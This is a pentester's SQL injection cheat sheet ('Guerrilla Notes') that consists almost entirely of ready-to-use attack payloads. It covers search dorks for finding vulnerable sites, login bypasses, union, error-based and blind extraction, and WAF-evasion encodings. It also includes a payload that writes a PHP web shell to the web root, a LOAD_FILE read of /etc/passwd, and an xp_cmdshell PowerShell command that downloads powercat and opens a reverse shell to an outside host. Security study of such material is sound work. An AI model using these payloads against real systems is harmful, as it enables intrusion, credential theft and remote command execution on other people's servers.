SQLI
Guerrilla Notes

Index

→ Postgresql

→ Mysql

→ Mssql

→ Oracle database

→ Google

→ Bing

1 - Find targets

1.1 - Dorks in search engine

System	Ngines	Query	Dork Examples	Description
All		inurl:	inurl:”index.php?id=” inurl:”buy.php?product=” inurl:”.php?id=” & inurl:”.gov.in”	Search the ocurrence in url of web.
All		intitle:	inurl:”index.php?page=” & intitle:”target”	Search the ocurrence in title of web.
		intext:	intext:”Warning: mysql_fetch_assoc()” intext:”Warning: mysql_fetch_array()” intext:”Warning: mysql_num_rows()” intext:”Warning: mysql_query()”	Search the ocurrence in text of web. May be used to find errors of the database system in webs.
All		site:	site:target.site.com & inurl:”.php?”	Search only in the site web.
All		ip:	ip:1.1.1.1& inurl:”.php?”	Search only in the ip.
All		loc:	loc:us & inurl:”.php?”	Search with selected lenguage.
All		-<word>	inurl:.php? & -php.net	Exclude word.
All		+<word>	inurl:.php? & +goverment	Include word.

2 - Check if web is injectable

2.1 – In-band (Union/Error)

Multiple special chars	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = ,'"'"(",.,;
Param	http://vulnerable.com/id?=1,**"'"'"(",.,**
Result Union	
Injectable	Empty fields in html or error database system.
No injectable	The web show same data on fields in html.
Result Error	
Injectable	The page show Database system error.
No injectable	The web show the same data or empty data.

2.2 – Inferential (blind)

Multiple special chars	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **,"'"'"(",.,**;
Param	http://vulnerable.com/id?=1,**"'"'"(",.,**
Result	
Injectable	The web show different data on fields in html.
No injectable	The web show same data on fields in html.

2.3 – Login bypass

Multiple special chars	
Query	SELECT * FROM user WHERE nick = $nick AND password = $password;
Injection	SELECT * FROM user WHERE nick = $nick AND password = $password;
Param	http://vulnerable.com/id?=1,**"'"'"(",.,**
Result	
Injectable	The web show different data on fields in html.
No injectable	The web show same data on fields in html.

2.4 – Boolean based

Query	SELECT * FROM table WHERE id = ‘$id’;
Injection	SELECT * FROM table WHERE id = **‘1’ AND 1=1-- -’’**
Param	http://vulnerable.com/id?=**'1’ AND 1=1-- -’’**
Query	SELECT * FROM table WHERE id = ‘$id’;
Injection	SELECT * FROM table WHERE id = **‘1’ AND 1=2-- -’’**
Param	http://vulnerable.com/id?=**'1’ AND 1=2-- -’’**
✔	If id exists and the first query show data and the second query not show data.

2.5 – Time Based

Sleep function check if is vulnerable

Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id =**1-SLEEP(15)**
Param	http://vulnerable.com/id?=**'1-SLEEP(15)--’**
✔	The response of program have 15 seconds of delay more than normal response time.
✗	The response of program have normal response time.

Benchmark function check if is vulnerable

Query	SELECT * FROM table WHERE id = ‘$id’;
Injection	SELECT * FROM table WHERE id = **‘1-BENCHMARK(100000000, rand())’**
Param	http://vulnerable.com/id?=**1-BENCHMARK(100000000, rand())--'**
✔	The response of program have some seconds of delay more than normal response time.
✗	The response of program have normal response time.

Wait for delay method check if is vulnerable

Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **1; WAIT FOR DELAY '00:00:15'**
Param	http://vulnerable.com/id?=**1; WAIT FOR DELAY '00:00:15'**
✔	The response of program have 15 seconds of delay more than normal response time.
✗	The response of program have normal response time.

Wait for time method check if is vulnerable

Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **1; WAIT FOR TIME '00:00:15'**
Param	http://vulnerable.com/id?=**1; WAIT FOR TIME '00:00:15'**
✔	The response of program have 15 seconds of delay more than normal response time.
✗	The response of program have normal response time.

DBMS_LOCK.SLEEP function check if is vulnerable		
	Query	SELECT * FROM table WHERE id = $id;
	Injection	SELECT * FROM table WHERE id = **BEGIN DBMS_LOCK.SLEEP(15); END;**
	Param	http://vulnerable.com/id?=**BEGIN DBMS_LOCK.SLEEP(15); END;**
	✔	The response of program have 15 seconds of delay more than normal response time.
	✗	The response of program have normal response time.

2.6 – Time Based heavy queries

Heavy querie in mysql and mssql check if is vulnerable		
	Query	SELECT * FROM table WHERE id = $id;
	Injection	SELECT * FROM table WHERE id =**1 and 1>(select count(*) from information_schema.columns a, information_schema.columns b, information_schema.columns c)**
	Param	http://vulnerable.com/id?=**1 and 1>(select count(*) from information_schema.columns a, information_schema.columns b, information_schema.columns c)**
	✔	If the response of program have more time of delay than normal response time.
	✗	The response of program have normal response time.

Heavy querie in oracle check if is vulnerable		
	Query	SELECT * FROM table WHERE id = $id;
	Injection	SELECT * FROM table WHERE id = **1 AND 1<SELECT count(*) FROM all_users A, all_users B, all_users C**
	Param	http://vulnerable.com/id?=**1 AND 1<SELECT count(*) FROM all_users A, all_users B, all_users C**
	✔	The response of program have some seconds of delay more than normal response time.
	✗	The response of program have normal response time.

3 - Database System Info

3.1 – Comments

All	**-- -**	SELECT * FROM table WHERE id = 1-- **- It is a comment;**
All	**-- +**	SELECT * FROM table WHERE id = 1-- **+ It is a comment;**
All	**/**/**	SELECT * FROM table WHERE id = 1 **/*It is a comment*/** OR id = 2;
All	**;%00**	SELECT * FROM table WHERE id = 1**;%00 This is ignored**
	/*!*/	SELECT * FROM table WHERE id = 1 **/*!It is a executable comment*/** OR id = 2;

	**/*!32302*/**	SELECT * FROM table WHERE id = 1 **/*!32302 It is a comment if version Mysql is 3.23.02 or higher*/** OR id = 2;
	**#**	SELECT * FROM table WHERE id = 1**# It is a comment;**

3.2 – Show user system

	**user()**	SELECT **user();**
	**system_user()**	SELECT **system_user();**
	**session_user()**	SELECT **session_user();**
	**current_user()**	SELECT **current_user();**
	**current_user**	SELECT **current_user;**
	**user**	SELECT **user;**
	**session_user**	SELECT **session_user;**
	**system_user**	SELECT **system_user;**
	**user_name()**	SELECT **user_name();**
	user	SELECT **user** FROM DUAL;
	SELECT sys_context ('userenv', 'session_user') FROM DUAL;	

3.3 – Show version system

	**version()**	SELECT **version()**;
	**@@version**	SELECT **@@version**;
	SELECT version FROM v$instance;	
	SELECT * FROM v$version;	

3.4 – Show database name

	**database()**	SELECT **database()**;
	**schema()**	SELECT **schema()**;
	**current_database()**	SELECT **current_database()**;
	**current_catalog**	SELECT **current_catalog**;
	**db_name()**	SELECT **db_name()**;
	SELECT sys_context('userenv','instance_name') FROM dual;	
	SELECT ora_database_name FROM dual;	
	SELECT * FROM global_name;	

3.5 – Show operating system version info

	**@@version_comment**	SELECT **@@version_comment**;
	**@@version_compile_machine**	SELECT **@@version_compile_machine**;
	**@@version_compile_os**	SELECT **@@version_compile_os()**;
	**version()**	SELECT **version()**;
	**@@version**	SELECT **@@version**;
	SELECT * FROM v$version;	

3.6 – Show hostname/ip

	**@@hostname**	SELECT **@@hostname;**
	**@@version_compile_machine**	SELECT **@@version_compile_machine;**
	**inet_server_addr()**	SELECT **inet_server_addr();**
	**@@servername**	SELECT **@@servername**;
	**SELECT UTL_INADDR.get_host_address from dual;**	

3.7 – Show port

	**SELECT variable_value FROM information_schema.global_variables WHERE variable_name = 'port';**	
	**inet_server_port()**	SELECT **inet_server_port()**;
	**SELECT setting FROM pg_settings WHERE name = 'port';**	
	**SELECT DISTINCT local_net_address, local_tcp_port FROM sys.dm_exec_connections WHERE local_net_address IS NOT NULL**	

3.8 – Show directory data

	**@@datadir**	SELECT **@@datadir;**
	**SELECT variable_value FROM information_schema.global_variables WHERE variable_name = 'datadir';**	
	**SELECT setting FROM pg_settings WHERE name = 'data_directory';**	

4 - Database Schema Info

4.1 – Show databases

	**SELECT * FROM information_schema.schemata WHERE schema_name NOT IN ('mysql','information_schema');**
	**SELECT datname FROM pg_database WHERE datistemplate = false;**
	**SELECT name FROM sys.databases;**

4.2 – Show tables of database

	**SELECT table_name FROM information_schema.tables WHERE schema_name = 'database';**
	**SELECT * FROM pg_catalog.pg_tables WHERE schemaname = 'database';**
	**SELECT table_name FROM information_schema.tables WHERE table_type = 'BASE TABLE' AND table_catalog='database';**
	**SELECT owner, table_name FROM all_tables;**

4.3 – Show columns of table

	**SELECT column_name FROM information_schema.columns WHERE table_name = 'table' AND table_schema = 'database';**
	**SELECT * FROM information_schema.columns WHERE table_schema = 'database' AND table_name = 'table';**
	**SELECT * FROM information_schema.columns WHERE table_name = 'table';**
	**SELECT column_name FROM user_tab_columns WHERE table_name = 'table';**

5 - Login Bypass

5.1 – Unknown username

Selection first row of query without quotes	
Query	SELECT * FROM user WHERE name = $name AND password = $password;
Injection	SELECT * FROM user WHERE name = **1 or 1=1--** AND password = ;
Form	user=**1 or 1=1--** password=
Others Injections	SELECT * FROM user WHERE name = **1 or 1=1** AND password = **1 or 1=1**;
	SELECT * FROM user WHERE name = **1 or true--** AND password = ;
	SELECT * FROM user WHERE name = **1 or 1--** AND password = ;
Selection first row of query with simple quoted	
Query	SELECT * FROM user WHERE name = '$name' AND password = '$password';
Injection	SELECT * FROM user WHERE name = '' **or 1=1--**' AND password = '';
Form	user=**' or 1=1--** password=
Others Injections	SELECT * FROM user WHERE name = '' **or ''='**' AND password = '' **or ''='**';
	SELECT * FROM user WHERE name = '' **or true--**' AND password = '';
	SELECT * FROM user WHERE name = '' **or 1--**' AND password = '';
Selection first row of query with double quoted	
Query	SELECT * FROM user WHERE name = “$name” AND password = “$password”;
Injection	SELECT * FROM user WHERE name = “**” or 1=1--**” AND password = “”;
Form	user=**” or 1=1--** password=
Others Injections	SELECT * FROM user WHERE name = “**” or “”=”**” AND password = “**” or “”=”**”;
	SELECT * FROM user WHERE name = “**” or true--**” AND password = “”;
	SELECT * FROM user WHERE name = “**” or 1--**” AND password = “”;
Selection first row of query with parentesis	
Query	SELECT * FROM user WHERE name = ('$name') AND password = ('$password');
Injection	SELECT * FROM user WHERE name = ('') **or 1=1--**') AND password = ('');
Form	user=**') or 1=1--** password=
Others Injections	SELECT * FROM user WHERE name = ('') **or (')=(**'') AND password = ('') **or (')=(**'');
	SELECT * FROM user WHERE name = ('') **or true--**') AND password = ('');
	SELECT * FROM user WHERE name = ('') **or 1--**') AND password = ('');
Selection first row of query with double parentesis	
Query	SELECT * FROM user WHERE name = (('$name')) AND password = (('$password'));
Injection	SELECT * FROM user WHERE name = (('')) **or 1=1--**')) AND password = (('));

Form	user=**')) or 1=1--** password=
Others Injections	SELECT * FROM user WHERE name = (('**')) or ((''))=((**')) AND password = (('**')) or ((''))=((**'));
	SELECT * FROM user WHERE name = (('**')) or true--**')) AND password = (('));
	SELECT * FROM user WHERE name = (('**')) or 1--**') AND password = (('));
Selecting the row of a user with limit	
Query	SELECT * FROM user WHERE name = '$name' AND password = '$password';
Injection	SELECT * FROM user WHERE name = '**' or 1=1 limit 1,1--**' AND password = ';
Form	user=**' or 1=1 limit 1,1--** password=

5.2 – Known username

Username without password	
Query	SELECT * FROM user WHERE name = '$name' AND password = '$password';
Injection	SELECT * FROM user WHERE name = '**admin**' AND password = '**' or 1=1--**';
Form	user=**admin** password=**' or 1=1--**
Others Injections	SELECT * FROM user WHERE name = '**admin'--**' AND password = ';
Username with false params with union select (To password check code)	
Query	SELECT * FROM user WHERE name = '$name' AND password = '$password';
Injection	SELECT * FROM user WHERE name = '**admin' union select 1,'admin','1234','admin@mail.com'--**' AND password = '**1234**';
Form	user=**admin' union select 1,'admin','1234','admin@mail.com'--** password=**1234**

6 - In-band

6.1 – Union Based

Know number fields	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = 1 **ORDER BY 1**;
Param	http://vulnerable.com/id?=1 **ORDER BY 1**
Others Injections	SELECT * FROM table WHERE id = '1**' ORDER BY 1 -- -** ';
	SELECT * FROM table WHERE id = ('1**') ORDER BY 1 -- -** ');
✔	The web not modify his struct.
✗	The web modify his struct.
Know type of fields	
Query	SELECT id,name,phone FROM table WHERE id = $id;

Injection	SELECT id,name,phone FROM table WHERE id = **-1 UNION SELECT 1,'a',3**;
Param	http://vulnerable.com/id?=**-1 UNION SELECT 1,'a',3**
Others Injections	SELECT id,name,phone FROM table WHERE id = **'-1' UNION SELECT 1,'a',3 -- -** ';
	SELECT id,name,phone FROM table WHERE id = (**'-1') UNION SELECT 1,'a',3 -- -** ');
✔	The web not modify his struct.
✗	The web modify his struct.
Simple Union	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT 1,2,3,4**;
Param	http://vulnerable.com/id?=**-1 UNION SELECT 1,2,3,4**
Others Injections	SELECT * FROM table WHERE id =**'-1' UNION SELECT 1,2,3,4 -- -**';
	SELECT * FROM table WHERE id =('**-1') UNION SELECT 1,2,3,4 -- -**');
	SELECT * FROM table WHERE id = **1 AND false UNION SELECT 1,2,3,4**;
	SELECT * FROM table WHERE id = **null UNION SELECT 1,2,3,4**;
✔	Show in part of web one or more of numbers in html code.
✗	The web modify his struct and not show anything in html code.
Multiple row Union	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION ALL SELECT column1,column2 FROM table**;
Param	http://vulnerable.com/id?=**-1 UNION ALL SELECT column1,column2 FROM table**
✔	Show in part of web the rows of “table”.
✗	The web modify his struct and not show anything in html code.
Subquery in column	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT (SELECT name FROM table LIMIT 0,1),2,3,4**;
Param	http://vulnerable.com/id?=**-1 UNION SELECT (SELECT name FROM table LIMIT 0,1),2,3,4**
✔	Show in part of web the result of subquery.
✗	The web modify his struct and not show anything in html code.
Concatenation in column	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT concat(version(),'::',database()),2,3,4**;
Param	http://vulnerable.com/id?=**-1 UNION SELECT concat(version(),'::',database()),2,3,4**
✔	Show in part of web the version and database in a column.
✗	The web modify his struct and not show anything in html code.
Group concatenation in column	

Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT group_concat(column,'\n'),2,3,4 FROM table**;
Param	http://vulnerable.com/id?=**-1 UNION SELECT group_concat(column,'\n'),2,3,4 FROM table**
✔	Show in part of web list of columns separated with returns.
✗	The web modify his struct and not show anything in html code.

6.2 – Error based

Extractvalue function

Query	SELECT * FROM table WHERE id = '$id';
Injection	SELECT * FROM table WHERE id = ‘**' and extractvalue(rand(),concat(0x3a,version())) --'**’
Param	http://vulnerable.com/id?=**' and extractvalue(rand(),concat(0x3a,version())) --'**
✔	Print similar error with version: “XPATH syntax error: ':5.7.24-0ubuntu0.18.04.1'”
✗	Not print error in data.

Conditional comparation

Query	SELECT * FROM table WHERE id = '$id';
Injection	SELECT * FROM table WHERE id = ‘**' and 1=db_name()--'**’
Param	http://vulnerable.com/id?=**' and 1=db_name()--'**
✔	Print similar error with version: “Conversion failed when converting the nvarchar value ‘example_name’ to data type int”
✗	Not print error in data.

Cast function

Query	SELECT * FROM table WHERE id = '$id';
Injection	SELECT * FROM table WHERE id = ‘**' and CAST(@@version as int)'**’
Param	http://vulnerable.com/id?=**' and CAST(@@version as int)'**
✔	Print similar error with version: “ERROR: invalid input syntax for integer: “PostgreSQL 9.6.10 on x64_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516, 64-bit””
✗	Not print error in data.

Convert function

Query	SELECT * FROM table WHERE id = '$id';
Injection	SELECT * FROM table WHERE id = ‘**' and CONVERT(int,version())-- -'**’
Param	http://vulnerable.com/id?=**' and CONVERT(int,version())-- -'**
✔	Print similar error with version: “Conversion failed when converting the nvarchar value ‘Microsoft SQL Server …’ to data type int”
✗	Not print error in data.

7 - Inferential (Blind)

7.1 – Boolean based

Extract data with asci function and equal code	
Query	SELECT * FROM table WHERE id = ‘$id’;
Injection	SELECT * FROM table WHERE id = ‘**1' AND ASCII(SUBSTRING(database(),1,1))=97 AND '1'='1’**
Param	http://vulnerable.com/id?=**'1' AND ASCII(SUBSTRING(database(),1,1))=97 AND '1'='1’**
✔	The database name start with character “a”.
✗	The database name not start with character “a”.

Extract data with asci function and max-minus >	
Query	SELECT * FROM table WHERE id = ‘$id’;
Injection	SELECT * FROM table WHERE id = ‘**1' AND ASCII(SUBSTRING(database(),1,1)) > 97 ’**
Param	http://vulnerable.com/id?=**'1' AND ASCII(SUBSTRING(database(),1,1)) > 97‘**
✔	The database name start with character than ASCII code is bigger of 97.
✗	The database name start with character than ASCII code isn’t bigger of 97.

Know string length with length funciton	
Query	SELECT * FROM table WHERE id = ‘$id’;
Injection	SELECT * FROM table WHERE id = ‘**1' AND (length(database())) = 1 --+’**
Param	http://vulnerable.com/id?=**'1' AND (length(database())) = 1 --+’**
✔	The database name have one character of length.
✗	The database name have more than one character of length.

7.2 – Time Based

Sleep function extract data		
	**Query**	SELECT * FROM table WHERE id = $id;
	Injection	SELECT * FROM table WHERE id =**1-IF(ASCII(SUBSTRING(database(),1,1)) = '97', SLEEP(15), 0)**
	Param	http://vulnerable.com/id?=**1-IF(ASCII(SUBSTRING(database(),1,1)) = '97', SLEEP(15), 0)**
	✔	In case the first character of database name is ‘a’ the response of program have 15 seconds of delay more than normal response time.
	✗	The first character of database name isn’t ‘a’.

Wait for delay method extract data		
	**Query**	SELECT * FROM table WHERE id = $id;
	Injection	SELECT * FROM table WHERE id = **1; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:15'**
	Param	http://vulnerable.com/id?=**1; IF SYSTEM_USER='sa' WAIT FOR DELAY '00:00:15'**

✔	In case than user execute queries is ‘sa’ (system administrator) the response of program have 15 seconds of delay more than normal response time.
✗	The user than execute queries isn’t ‘sa’.

7.3 – Time Based heavy queries

Heavy querie in mysql and mssql method extract data

Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id =**1-IF(ASCII(SUBSTRING(database(),1,1)) = '97', (select count(*) from information_schema.columns a, information_schema.columns b, information_schema.columns c), 0)**
Param	http://vulnerable.com/id?=**1-IF(ASCII(SUBSTRING(database(),1,1)) = '97', (select count(*) from information_schema.columns a, information_schema.columns b, information_schema.columns c), 0)**
✔	If the response of program have more time of delay than normal response time.
✗	The response of program have normal response time.

8 - DIOS (Dump In One Shot)

Simple DIOS

Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT concat(version(),'::',database()),2,3,4**;
DIOS	**(SELECT (@a) FROM (SELECT(@a:=0x00),(SELECT(@a) FROM (table)WHERE (@a)IN (@a:=concat(@a,column,' '))))a)**
Join	SELECT * FROM table WHERE id = -1 UNION SELECT **((SELECT (@a) FROM (SELECT(@a:=0x00),(SELECT(@a) FROM (table)WHERE (@a)IN (@a:=concat(@a,column,' '))))a)**),2,3,4;
Param	http://vulnerable.com/id?=-1 UNION SELECT **((SELECT (@a) FROM (SELECT(@a:=0x00),(SELECT(@a) FROM (table)WHERE (@a)IN (@a:=concat(@a,column,' '))))a)**),2,3,4

9 – Write files

INTO OUTFILE function to create file in system

Query	SELECT * FROM table WHERE id = ‘$id’;
Injection	SELECT * FROM table WHERE id = ‘**‘ union select ‘<?=@`$_GET[c]`;’ INTO OUTFILE ‘/var/www/html/cmd.php’ #’**
Param	http://vulnerable.com/id?=’**‘ union select ‘<?=@`$_GET[c]`;’ INTO OUTFILE ‘/var/www/html/cmd.php’ #’**
✔	If you can access to file “cmd.php” in the path is right.
✗	Print error “ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement” It is by missing configuration ‘secure-file-priv = ""’ in config server file.
✗	Print error “ERROR 1 (HY000): Can't create/write to file '/var/www/html/cmd.php' (Errcode: 13 - Permission denied)” It is by the allowed path isn’t it, you can check path with this var “@@tmpdir”.

10 – Read files

LOAD_FILE function to read file in system		
	**Query**	SELECT * FROM table WHERE id = ‘$id’;
	Injection	SELECT * FROM table WHERE id = ‘**’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) #’**
	Param	http://vulnerable.com/id?=**’’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) #’**
	✔	Print content of file.
	✗	Not print content of file.

11 – Execute commands

xp_cmdshell function to execute commands		
	**Query**	SELECT * FROM table WHERE id = ‘$id’;
	Injection	SELECT * FROM table WHERE id = ‘ **EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd' #’**
	Param	http://vulnerable.com/id?=’**EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd' #’**
	✔	Execute shell in port.
	✗	Not execute shell in port.

11 – Filters/WAF bypass

Upper/Lower case	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT database(),2,3,4**;
Payload	**-1 UnIoN sElEcT database(),2,3,4**
Delete words	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT database(),2,3,4**;
Payload	**-1 UNUNIONION SELSELECTECT database(),2,3,4**
Comments	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT database(),2,3,4**;
Payload	**-1/**/UNION/**/SELECT/**/database(),2,3,4**
Comments with words	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT database(),2,3,4**;
Payload	**-1/*UNION*/UNION/*SELECT*/SELECT+database(),2,3,4**
Comments between words	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT database(),2,3,4**;
Payload	**-1+UN/**/ION+SEL/**/ECT+database(),2,3,4**
Comments version	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT database(),2,3,4**;
Payload	**-1/*!50000UNION*//*!50000SELECT*/database(),2,3,4**
Encoding	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT database(),2,3,4**;
Payload	**-1 UNIO%4E %53ELECT database(),2,3,4**
Double encoding	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT database(),2,3,4**;

Payload	**-1 %2555%254e%2549%254f%254e%2520%2553%2545%254c %2545%2543%2554%2520%2564%2561%2574%2561%2562%2561%2573%2565%2528%2529,2,3,4**
Hexadecimal	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT 'name',2,3,4**;
Payload	**-1 UNION SELECT x'6e616d65',2,3,4**
Hexadecimal with function	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT 'name',2,3,4**;
Payload	**-1 UNION SELECT unhex(x'6e616d65'),2,3,4**
Binary	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT 'name',2,3,4**;
Payload	**-1 UNION SELECT 0b0110111001100001011011010110010 1,2,3,4**
HTTP Parameter Pollution	
Query	SELECT * FROM table WHERE id = $id;
Injection	SELECT * FROM table WHERE id = **-1 UNION SELECT database(),2,3,4**;
Payload	**-1 /**/UNION/*&id=*/SELECT/*&id=*/database()/*&id=*/,2,3/*&id=*/,4**

Like the map in the pocket, the canteen in the belt and the machete crossed in the back is essential to the life of a guerrilla these manuals facilitate the constant struggle against the programming work.

The pentesters we are lucky to have Internet close to us, but when this luck does not exist then we have to resort to the papper or pdf. These small handbooks are not for beginners or advanced, simply they satisfy the consultations of the doubts that can arise pentesting in any place, day by day.

When you are far from your job, Internet is not there or simply the network does not work the computer guerrilla has the manual in the pocket, the water bottle in the rucksack and the portable one crossed in the back.

Author: Jesús Benages Sales

Contact:jbinarys@gmail.com